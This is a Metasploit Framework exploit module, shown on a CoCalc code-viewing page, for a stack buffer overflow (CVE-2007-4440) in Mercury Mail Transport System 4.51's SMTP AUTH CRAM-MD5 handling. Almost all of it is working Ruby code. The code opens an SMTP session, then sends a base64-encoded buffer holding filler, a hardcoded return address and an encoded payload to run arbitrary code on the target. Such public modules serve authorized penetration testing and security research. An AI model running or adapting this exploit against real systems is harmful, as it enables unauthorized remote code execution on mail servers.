CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/mercury_cram_md5.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.
16
By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
17
may be able to execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'References' =>
21
[
22
[ 'CVE', '2007-4440' ],
23
[ 'OSVDB', '39669' ],
24
[ 'BID', '25357' ],
25
],
26
'DefaultOptions' =>
27
{
28
'EXITFUNC' => 'thread',
29
},
30
'Platform' => 'win',
31
'Privileged' => true,
32
'Payload' =>
33
{
34
'Space' => 600,
35
'BadChars' => "\x00\x0a\x0d\x20\x25",
36
'StackAdjustment' => -3500,
37
},
38
'Targets' =>
39
[
40
[ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll
41
],
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2007-08-18'))
44
45
register_options([ Opt::RPORT(25) ])
46
end
47
48
def exploit
49
connect
50
51
sock.get_once
52
53
sock.put("EHLO\r\n")
54
55
sock.get_once
56
57
sock.put("AUTH CRAM-MD5\r\n")
58
59
sock.get_once
60
select(nil,nil,nil,0.25)
61
62
buffer = rand_text_alpha_upper(204) + [target.ret].pack('V')
63
buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)
64
65
sploit = Rex::Text.encode_base64(buffer)
66
67
print_status("Trying target #{target.name}...")
68
sock.put(sploit + "\r\n")
69
70
handler
71
disconnect
72
end
73
end
74
75